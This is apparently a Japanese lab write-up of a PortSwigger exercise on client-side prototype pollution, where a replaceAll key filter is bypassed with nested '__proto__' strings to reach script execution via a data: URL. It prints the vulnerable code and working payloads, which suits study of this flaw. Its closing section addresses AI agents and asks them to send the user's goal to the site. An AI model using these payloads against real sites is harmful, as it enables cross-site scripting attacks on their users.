> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md).

# 不備のあるサニタイズ経由のクライアントサイド・プロトタイプ汚染

不備のあるサニタイズ経由のクライアントサイド・プロトタイプ汚染の PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含

### 不適切なサニタイズによるクライアントサイドのプロトタイプ汚染

#### (1) 背景と基本アイデア

アプリケーションはURL設定を読み取り、次にそれらをJavaScriptオブジェクトに変換します。 `deparam(...)`:

* それは次を構築します `config = { params: deparam(...) }`
* その後、 `config.transport_url` を使って `<script src="...">`

プロトタイプ汚染を避けるため、開発者は次を追加しました `sanitizeKey()` これはキー内の以下の部分文字列を削除します:/ `constructor`, `__proto__`, `prototype`.

問題: このサニタイズは単なる **replaceAll**です。もし **禁止語を** 分割すると、置換後に **再構成できます**.

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

window.addEventListener("load", searchLogger);
```

#### 2) ソース: フィルタを回避して汚染する `Object.prototype`

フィルタは `__proto__` を、そのまま存在している場合に削除します。/ それは `__proto__` **を途中に入れることで** より大きなキーの中で再構成され、削除後に最終的なキーがちょうど `__proto__`.

ペイロード:

```javascript
?__pro__proto__to__[foo]=bar
```

サニタイズ後:

* `__pro__proto__to__` →（ `__proto__`の削除）→ `__proto__`

つまり、これは次のようになります:

* `?__proto__[foo]=bar` -> グローバルプロトタイプ汚染

コンソールで確認:

```javascript
console.log({}.foo)
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-546fe8d5be3955db7a0141ecbd6987dfef057fc0%2Fimage%20(120).png?alt=media" alt="" width="520"><figcaption></figcaption></figure>

#### (4) 最終的なエクスプロイト: `alert()`

`transport_url` が汚染され、 `data:` スキームになり、スクリプト読み込み時にJSを実行します:

```javascript
?__pro__proto__to__[transport_url]=data:,alert(1)
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0d617c524d392efe065d704bfad6d18c35226c81%2Fimage%20(121).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
